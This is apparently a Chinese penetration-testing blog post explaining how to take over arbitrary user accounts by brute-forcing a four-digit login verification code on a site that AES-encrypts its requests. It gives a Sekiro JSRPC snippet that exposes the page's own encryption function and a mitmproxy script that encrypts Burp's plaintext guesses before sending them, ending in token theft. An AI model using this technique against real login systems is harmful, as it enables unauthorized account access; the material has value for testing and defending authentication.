利用JSRPC协议实现任意用户登录
MiNi 发表于 浙江 渗透测试 15954浏览 · 2023-10-12 05:15

登录页


接收验证码 四位 可能存在验证码爆破


抓取数据包进行查看 发现数据被加密 手动输入多次验证 原验证码可用 开始对加密进行解密


AES加密 将解密方法设置全局方便后续调用


安装Jsrpc
https://github.com/yint-tech/sekiro-open
构建完成后,会生成文件夹sekiro-open-demo,在bin文件夹中根据系统来选择运行.bat还是.sh即可
运行后的样子


https://sekiro.iinti.cn/sekiro-doc/
在文档中 可以看见官方注入的JS
导入sekio.js 我们自己在底部单独注册一个接口 运行

function guid() {
    function S4() {
        return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);
    }
    return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());
}
//Modify content
group = "MiNi";
registerAction = "AES";
var client = new SekiroClient("ws://127.0.0.1:5612/business-demo/register?group=" + group + "&clientId=" + guid());
client.registerAction(registerAction, function(request, resolve, reject) {
    response = v(atob(request['text']));
    resolve(response);
})

注册好后 访问
http://127.0.0.1:5612/business-demo/invoke?group=xxx&action=xxx&text=xxx

text为需加密内容


因为加密数据存在&在URL解析时容易出现问题


修改下sekio.js 输入base64数据即可 会将base64数据解密在进行加密返回


Data为我们加密后的数据 text内容是我们的需要加密的内容


到此 即可生成自己想要的一个密文字典用python进行爬取保存对应的加密数据即可


这里在使用另一种方法 实现在Burp中的密文爆破
利用mitmproxy

在我们的环境中,我们需要调用这个jsrpc来加密后,将处理过的数据包发送到网站中,所以需要一个mitmproxy来加密参数,然后发送
安装库

pip3 install mitmproxy

创建服务器

import requests
import urllib.parse
import re
import json
from mitmproxy import ctx


def encrypt(data):
    data = data.replace('&', "%26")
    url = "http://127.0.0.1:5612/business-demo/invoke?group=MN&action=AES&text={}".format(
        data)
    res = requests.get(url)
    res = json.loads(res.text)
    return res['data']


def request(flow):
    # 获取GET请求的数据
    data = flow.request.query.get('data')
    print('Get request data ===> ', data)
    encryptData = encrypt(data)
    print('EncryptData ===> ', encryptData)
    # 设置修改后的请求 body 数据
    flow.request.query['data'] = encryptData
    # url = flow.request.url + "?data=" + encryptData
    # res = requests.get(url)


# 请求后的数据


def response(flow):
    response = flow.response
    print(response.text)
    ctx.log.info(str(response.status_code))

然后启动
mitmweb -v -s test.py -p 8081
我们设置一个burpsuite的代理到mitmproxy中,然后尝试发送一个包
可以看见BP中明文发送 已经被加密


后面就进行明文爆破即可实现密文发送的效果


解密 获取token

2 条评论
某人
表情
可输入 255
目录